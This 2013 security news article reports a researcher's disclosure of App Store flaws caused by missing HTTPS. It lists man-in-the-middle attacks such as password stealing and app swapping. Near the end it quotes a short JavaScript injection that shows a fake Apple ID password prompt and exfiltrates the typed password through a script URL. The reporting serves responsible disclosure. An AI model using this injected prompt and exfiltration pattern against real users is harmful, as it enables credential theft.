Researcher demonstrated serious flaw in Apple App Store

Pierluigi Paganini March 12, 2013

Once again the security of large scale application and platform is challenged, today is the turn of Apple, in particular of its famous Apple store that according the Researchers Elie Bursztein  was vulnerable for more than half year.

The developer supported Apple to discovery and fix an important vulnerability that allowed to steal passwords and install application in the store.

Elie Bursztein exploited a flaw in the communication of Apple mobile with Apple Store, due a weakness in the authentication process the researcher demonstrated the possibility to hijack the connections with obvious consequences.

It seems that this vulnerability existed for a long time, even years, and only the adoption of HTTPS protocol made possible to resolve the problems.

Elie Bursztein reported on is bog:

“Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Last week Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found. As a bonus, I made several video demos of the attacks described in this post so you can see by yourself how dangerous not having full HTTPS is.”

Bursztein proposed various example of attacks that are practicable when attacker and victims share same network, for example when both are on public WiFi netwoks.

The attacker can access to the traffic directed towards the Apple Store and can manipulate it to conduct illegal activities such as steal victim’s password or to force victim to purchase an app. Following the complete list:

  • Password stealing: Trick the user into disclosing his or her password by using the application update notification mechanism to insert a fake prompt when the App Store is launched.
  • App swapping: Force the user to install/buy the attacker’s app of choice instead of the one the user intended to install/buy. It is possible to swap a free app with a paid app.
  • App fake upgrade: Trick the user into installing/buying the attacker’s app of choice by inserting fake app upgrades, or manipulating existing app upgrades.
  • Preventing application installation: Prevent the user from installing/upgrading applications either by stripping the app out of the market or tricking the app into believing it is already installed.
  • Privacy leak: The App Store application update mechanism discloses in the clear the list of the applications installed on the device.

Elie Bursztein points out that his decision to public disclose the vulnerability and possible attacks to exploit it is to push developers to adopt HTTPS traffic to protect communication.

Following one of the videos posted by the research o possible attacks against the customer of the popular App Store, I suggest to watch them all carefully!


Proof of concept – Password stealing

 Attack scenario

The user opens the App Store, which will trigger the App Store app to fetch the list of update available from the server. The attacker intercepts the reply and injects a javascript prompt into it that ask for the user Apple Id password. From the user’s perspective it seems that opening the application triggered the prompt which is very deceiving. The password is then exfiltrated by including it into a script insertion url.

Technical details

The prompt injection and password stealing is performed by injecting the following code into the update



password = prompt(“Apple ID Password”,””);
var s = document.createElement(‘script’);
s.type = “text/javascript”;
 s.src = “fakepassword=” + password;
var script = document.createTextNode(s);

Note that the App Store uses a templating system so it is probably possible (albeit not tested) to add the App Store username by using the @@username@@ variable into the code.

Pierluigi Paganini

(Security Affairs – Apple)

you might also like

leave a comment